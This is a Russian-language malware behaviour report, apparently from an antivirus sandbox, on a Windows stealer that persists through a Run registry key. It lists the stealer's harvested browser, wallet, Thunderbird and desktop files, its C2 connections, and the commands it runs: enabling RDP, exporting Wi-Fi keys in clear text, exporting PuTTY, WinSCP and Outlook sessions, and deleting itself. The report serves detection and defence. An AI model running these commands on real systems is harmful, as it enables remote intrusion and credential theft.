Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'VnsService' = '"%LOCALAPPDATA%\vns\VnsService.exe"'
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\netsh.exe' advfirewall firewall set rule group="remote desktop" new enable=Yes
Читает файлы, отвечающие за хранение паролей сторонними программами
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
- %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx
- %HOMEPATH%\desktop\cveuropeo.doc
- %HOMEPATH%\desktop\february_catalogue__2015.doc
- %HOMEPATH%\desktop\file_p_00000000_1371597592.docx
- %HOMEPATH%\desktop\holycrosschurchinstructions.docx
- %HOMEPATH%\desktop\lisp_success.doc
- %HOMEPATH%\desktop\ovp25012015.doc
- %HOMEPATH%\desktop\1189.jpeg
- %HOMEPATH%\desktop\168.jpeg
- %HOMEPATH%\desktop\210252809.jpeg
- %HOMEPATH%\desktop\coffee.bmp
- %HOMEPATH%\desktop\dashborder_120.bmp
- %HOMEPATH%\desktop\dashborder_192.bmp
- %HOMEPATH%\desktop\dashborder_96.bmp
- %HOMEPATH%\desktop\default.bmp
- %HOMEPATH%\desktop\toolbar.bmp
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\vns_progress.txt
- %LOCALAPPDATA%\vns\vnsservice.exe
- %LOCALAPPDATA%\vns\vnsservice.exe.new
- nul
- %TEMP%\vns_8a2e2e34\data\system\system.txt
- %TEMP%\vns_8a2e2e34\data\system\network.txt
- %TEMP%\vns_8a2e2e34\data\system\software.txt
- %TEMP%\vns_8a2e2e34\data\system\processes.txt
- %TEMP%\vns_8a2e2e34\data\system\wifi\_profiles.txt
- %TEMP%\vns_g_70d88276.tmp
- %TEMP%\vns_g_ab905170.tmp
- %TEMP%\vns_g_6d15158f.tmp
- %TEMP%\vns_g_5766cb99.tmp
- %TEMP%\vns_g_92e33204.tmp
- %TEMP%\vns_g_b5c7d469.tmp
- %TEMP%\vns_8a2e2e34\data\browsers\chrome\cookies\default.txt
- %TEMP%\vns_8a2e2e34\data\browsers\chrome\passwords\default.txt
- %TEMP%\vns_8a2e2e34\data\browsers\chrome\passwords\default.sites.txt
- %TEMP%\vns_8a2e2e34\data\browsers\chrome\default.json
- %TEMP%\vns_g_824375a3.tmp
- %TEMP%\vns_g_e9cb7560.tmp
- %TEMP%\vns_g_bdf46c3c.tmp
- %TEMP%\vns_g_178a9cf1.tmp
- %TEMP%\vns_g_b130c015.tmp
- %TEMP%\vns_g_f2652d2c.tmp
- %TEMP%\vns_g_f2652d2c.tmp-shm
- %TEMP%\vns_g_b6a0dad9.tmp
- %TEMP%\vns_g_b6a0dad9.tmp-shm
- %TEMP%\vns_g_a32310c6.tmp
- %TEMP%\vns_g_a32310c6.tmp-shm
- %TEMP%\vns_g_63122b48.tmp
- %TEMP%\vns_8a2e2e34\data\browsers\firefox\dnyauhh1.default-release.key4.db
- %TEMP%\vns_8a2e2e34\data\browsers\firefox\cookies\dnyauhh1.default-release.txt
- %TEMP%\vns_8a2e2e34\data\browsers\firefox\passwords\dnyauhh1.default-release.txt
- %TEMP%\vns_8a2e2e34\data\browsers\firefox\passwords\dnyauhh1.default-release.sites.txt
- %TEMP%\vns_8a2e2e34\data\browsers\firefox\dnyauhh1.default-release.json
- %TEMP%\vns_8a2e2e34\data\wallets\extensions\edge_default\_localstorage\current
- %TEMP%\vns_8a2e2e34\data\wallets\extensions\edge_default\_localstorage\log
- %TEMP%\vns_8a2e2e34\data\wallets\extensions\edge_default\_localstorage\manifest-000001
- %TEMP%\vns_8a2e2e34\data\wallets\wallets.json
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\b376zl1q.default\times.json
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\abook.sqlite
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\addons.json
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\addonstartup.json.lz4
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\blist.sqlite
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\cert9.db
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\compatibility.ini
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\cookies.sqlite
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\directorytree.json
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\enigmail.sqlite
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\extension-preferences.json
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\extensions.json
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\formhistory.sqlite
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\global-messages-db.sqlite
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\history.sqlite
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\key4.db
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\mailviews.dat
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\openpgp.sqlite
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\permissions.sqlite
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\pkcs11.txt
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\prefs.js
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\search.json.mozlz4
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\sessioncheckpoints.json
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\storage.sqlite
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\times.json
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\webappsstore.sqlite
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\xulstore.json
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\crashes\store.json.mozlz4
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\datareporting\session-state.json
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\datareporting\state.json
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\datareporting\archived\2024-08\1723427186027.740f65ac-6c92-4860-a433-5c4acb1df428.new-profile.jsonlz4
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\datareporting\archived\2024-08\1723427186364.ea3bd3ee-1392-479f-ab3c-37fb050509c4.main.jsonlz4
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\datareporting\archived\2024-08\1723427186367.5fb935d8-7cd4-40ee-aeeb-ffd7037d7c83.first-shutdown.jsonlz4
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\saved-telemetry-pings\5fb935d8-7cd4-40ee-aeeb-ffd7037d7c83
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\saved-telemetry-pings\740f65ac-6c92-4860-a433-5c4acb1df428
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\saved-telemetry-pings\ea3bd3ee-1392-479f-ab3c-37fb050509c4
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\storage\permanent\chrome\.metadata-v2
- %TEMP%\vns_8a2e2e34\data\soft\thunderbird\gbmwccb6.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
- %TEMP%\regb67a.tmp
- %TEMP%\vns_8a2e2e34\data\soft\_registry\outlook.reg
- %TEMP%\regbd02.tmp
- %TEMP%\vns_8a2e2e34\data\soft\_registry\run.reg
- %TEMP%\vns_g_2dc7eee7.tmp
- %TEMP%\vns_8a2e2e34\data\screenshots\screen.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\aoc_saq_d_v3_merchant.docx
- %TEMP%\vns_8a2e2e34\data\filegrabber\cveuropeo.doc
- %TEMP%\vns_8a2e2e34\data\filegrabber\february_catalogue__2015.doc
- %TEMP%\vns_8a2e2e34\data\filegrabber\file_p_00000000_1371597592.docx
- %TEMP%\vns_8a2e2e34\data\filegrabber\holycrosschurchinstructions.docx
- %TEMP%\vns_8a2e2e34\data\filegrabber\lisp_success.doc
- %TEMP%\vns_8a2e2e34\data\filegrabber\ovp25012015.doc
- %TEMP%\vns_8a2e2e34\data\filegrabber\d56_aoc_saq_d_v3_merchant.docx
- %TEMP%\vns_8a2e2e34\data\filegrabber\d67_file_p_00000000_1371597592.docx
- %TEMP%\vns_8a2e2e34\data\filegrabber\c9f_holycrosschurchinstructions.docx
- %TEMP%\vns_8a2e2e34\data\filegrabber\1189.jpeg
- %TEMP%\vns_8a2e2e34\data\filegrabber\168.jpeg
- %TEMP%\vns_8a2e2e34\data\filegrabber\210252809.jpeg
- %TEMP%\vns_8a2e2e34\data\filegrabber\coffee.bmp
- %TEMP%\vns_8a2e2e34\data\filegrabber\dashborder_120.bmp
- %TEMP%\vns_8a2e2e34\data\filegrabber\dashborder_192.bmp
- %TEMP%\vns_8a2e2e34\data\filegrabber\dashborder_96.bmp
- %TEMP%\vns_8a2e2e34\data\filegrabber\default.bmp
- %TEMP%\vns_8a2e2e34\data\filegrabber\toolbar.bmp
- %TEMP%\vns_8a2e2e34\data\filegrabber\desktop.ini
- %TEMP%\vns_8a2e2e34\data\filegrabber\changelog.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\chernovik.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\citaty.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\dnevnik.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\idei.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\idei2.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\instruktsia.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\instruktsia2.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\kommentarii.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\kommentarii2.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\konspekt.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\konspekt2.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\kontakty.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\readme.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\readme2.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\recept.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\recept2.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\shpargalka.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\shpargalka2.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\spisok.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\spisok2.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\ssylki.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\todo-list.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\todo-list2.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\vopros.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\vopros2.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\vyvody.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\zagotovka.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\zametki.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\zametki2.txt
- %TEMP%\vns_8a2e2e34\data\filegrabber\anketa.doc
- %TEMP%\vns_8a2e2e34\data\filegrabber\chernovik.doc
- %TEMP%\vns_8a2e2e34\data\filegrabber\instruktsia.doc
- %TEMP%\vns_8a2e2e34\data\filegrabber\memorandum.doc
- %TEMP%\vns_8a2e2e34\data\filegrabber\otchet.doc
- %TEMP%\vns_8a2e2e34\data\filegrabber\pismo.doc
- %TEMP%\vns_8a2e2e34\data\filegrabber\plan-raboty.doc
- %TEMP%\vns_8a2e2e34\data\filegrabber\poyasnenie.doc
- %TEMP%\vns_8a2e2e34\data\filegrabber\pretenzia.doc
- %TEMP%\vns_8a2e2e34\data\filegrabber\prikaz.doc
- %TEMP%\vns_8a2e2e34\data\filegrabber\reglament.doc
- %TEMP%\vns_8a2e2e34\data\filegrabber\spravka.doc
- %TEMP%\vns_8a2e2e34\data\filegrabber\zayavka.doc
- %TEMP%\vns_8a2e2e34\data\filegrabber\balans.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\balans2.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\balans.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\budget.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\budget2.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\budget.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\budget3.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\dolgi.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\dolgi2.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\dolgi3.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\dolgi.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\grafik-work.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\grafik-work2.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\grafik-work.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\inventar.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\inventar2.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\inventar.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\kassa.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\kassa2.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\kassa.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\nalogi.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\nalogi.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\nalogi2.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\otchet.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\otchet2.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\otchet.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\otchet3.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\planfakt.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\planfakt2.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\planfakt.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\prays-list.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\prays-list2.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\prays-list.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\prodazhi.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\prodazhi.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\prodazhi2.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\raschety.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\raschety2.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\raschety.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\rashody.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\rashody.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\rashody2.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\sklad.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\sklad2.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\sklad.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\smeta.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\smeta2.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\smeta.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\statistika.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\statistika.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\statistika2.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\tabel-chasov.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\tabel-chasov.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\tabel-chasov2.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\zakazy.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\zakazy.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\zakazy2.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\zarplata.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\zarplata2.xls
- %TEMP%\vns_8a2e2e34\data\filegrabber\zarplata.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\a8e_balans.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\6c0_budget.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\b95_budget3.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\797_dolgi.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\952_dolgi3.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\eb3_grafik-work.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\027_inventar.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\67b_kassa.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\7c7_kassa2.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\b23_nalogi.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\428_nalogi2.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\bd5_otchet.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\ad1_otchet3.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\be9_planfakt.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\a96_prays-list.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\51e_prodazhi.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\dc4_prodazhi2.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\5cf_raschety.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\b90_rashody.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\1e5_rashody2.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\173_sklad.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\3e0_sklad2.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\0a3_smeta.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\283_statistika.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\3cd_statistika2.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\945_tabel-chasov.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\497_tabel-chasov2.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\26c_zakazy.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\9f0_zakazy2.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\ff5_zarplata.xlsx
- %TEMP%\vns_8a2e2e34\data\filegrabber\avatarka.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\avatarka2.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\banner.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\chertezh.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\diagramma.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\diagramma2.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\fotografia.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\fotografia2.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\grafik.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\ikonka.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\kartinka.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\kartinka2.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\kollazh.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\kollazh2.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\kotiki.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\logotip.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\oboi-stola.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\oboi-stola2.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\panorama.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\portret.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\portret2.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\poster.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\screenshot.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\screenshot2.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\shema-seti.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\shema-seti2.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\skan-dokum.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\skan-dokum2.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\skrinshot.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\zakat.jpg
- %TEMP%\vns_8a2e2e34\data\filegrabber\avatarka.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\banner.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\chertezh.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\chertezh2.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\diagramma.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\fotografia.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\grafik.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\ikonka.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\ikonka2.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\kartinka.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\kollazh.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\kotiki.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\kotiki2.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\logotip.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\logotip2.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\oboi-stola.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\panorama.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\panorama2.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\portret.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\poster.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\screenshot.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\shema-seti.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\skan-dokum.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\skrinshot.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\zakat.png
- %TEMP%\vns_8a2e2e34\data\filegrabber\59f_desktop.ini
- %TEMP%\vns_8a2e2e34\data\filegrabber\7cb_desktop.ini
- %TEMP%\vns_8a2e2e34\data\filegrabber\_index.txt
- %TEMP%\vns_8a2e2e34\data\userinformation.txt
- %TEMP%\vns_8a2e2e34\data\systeminfo.txt
- %TEMP%\vns_8a2e2e34\data\passwords\passwords.txt
- %TEMP%\vns_8a2e2e34\data\_debug_progress.txt
- %TEMP%\vns_8a2e2e34\log.zip
- %LOCALAPPDATA%\vns\last.txt
Удаляет файлы, которые сам же создал
- %LOCALAPPDATA%\vns\vnsservice.exe.new
- %TEMP%\vns_g_70d88276.tmp
- %TEMP%\vns_g_ab905170.tmp
- %TEMP%\vns_g_6d15158f.tmp
- %TEMP%\vns_g_5766cb99.tmp
- %TEMP%\vns_g_92e33204.tmp
- %TEMP%\vns_g_b5c7d469.tmp
- %TEMP%\vns_g_824375a3.tmp
- %TEMP%\vns_g_e9cb7560.tmp
- %TEMP%\vns_g_bdf46c3c.tmp
- %TEMP%\vns_g_178a9cf1.tmp
- %TEMP%\vns_g_b130c015.tmp
- %TEMP%\vns_g_f2652d2c.tmp
- %TEMP%\vns_g_f2652d2c.tmp-shm
- %TEMP%\vns_g_b6a0dad9.tmp
- %TEMP%\vns_g_b6a0dad9.tmp-shm
- %TEMP%\vns_g_a32310c6.tmp
- %TEMP%\vns_g_a32310c6.tmp-shm
- %TEMP%\regb67a.tmp
- %TEMP%\regbd02.tmp
Перемещает следующие файлы
- %LOCALAPPDATA%\vns\vnsservice.exe в %LOCALAPPDATA%\vns\vnsservice.exe.old
Подменяет следующие файлы
- %LOCALAPPDATA%\vns\vnsservice.exe
Сетевая активность
Подключается к
- 'pc####t.duckdns.org':80
- 'ip##pi.com':80
- 'pc####t.duckdns.org':443
- 'x1.#.lencr.org':80
TCP
Запросы HTTP GET
- http://ip##pi.com/json/?fi#####################################################################################
- http://x1.#.lencr.org/
- http://45.##.162.202/cmd
Запросы HTTP POST
Другие
- 'pc####t.duckdns.org':443
UDP
- DNS ASK pc####t.duckdns.org
- DNS ASK ip##pi.com
- DNS ASK x1.#.lencr.org
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f >nul 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c netsh advfirewall firewall set rule group="remote desktop" new enable=Yes >nul 2>nul
- '<SYSTEM32>\svchost.exe' -k LocalSystemNetworkRestricted -p -s UmRdpService
- '<SYSTEM32>\cmd.exe' /c netsh wlan export profile folder="%TEMP%\vns_wifi" key=clear
- '<SYSTEM32>\netsh.exe' wlan export profile folder="%TEMP%\vns_wifi" key=clear
- '<SYSTEM32>\cmd.exe' /c netsh wlan show profiles
- '<SYSTEM32>\netsh.exe' wlan show profiles
- '<SYSTEM32>\cmd.exe' /c reg export "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" "%LOCALAPPDATA%\Temp/vns_8a2e2e34/data/Soft\_registry\winscp.reg" /y >nul 2>nul
- '<SYSTEM32>\reg.exe' export "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" "%LOCALAPPDATA%\Temp/vns_8a2e2e34/data/Soft\_registry\winscp.reg" /y
- '<SYSTEM32>\cmd.exe' /c reg export "HKCU\Software\SimonTatham\PuTTY\Sessions" "%LOCALAPPDATA%\Temp/vns_8a2e2e34/data/Soft\_registry\putty.reg" /y >nul 2>nul
- '<SYSTEM32>\reg.exe' export "HKCU\Software\SimonTatham\PuTTY\Sessions" "%LOCALAPPDATA%\Temp/vns_8a2e2e34/data/Soft\_registry\putty.reg" /y
- '<SYSTEM32>\cmd.exe' /c reg export "HKCU\Software\Microsoft\Office\16.0\Outlook" "%LOCALAPPDATA%\Temp/vns_8a2e2e34/data/Soft\_registry\outlook.reg" /y >nul 2>nul
- '<SYSTEM32>\reg.exe' export "HKCU\Software\Microsoft\Office\16.0\Outlook" "%LOCALAPPDATA%\Temp/vns_8a2e2e34/data/Soft\_registry\outlook.reg" /y
- '<SYSTEM32>\cmd.exe' /c reg export "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" "%LOCALAPPDATA%\Temp/vns_8a2e2e34/data/Soft\_registry\run.reg" /y >nul 2>nul
- '<SYSTEM32>\reg.exe' export "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" "%LOCALAPPDATA%\Temp/vns_8a2e2e34/data/Soft\_registry\run.reg" /y
- '<SYSTEM32>\cmd.exe' /c del /f /q "<Полный путь к файлу>" >nul 2>nul (со скрытым окном)
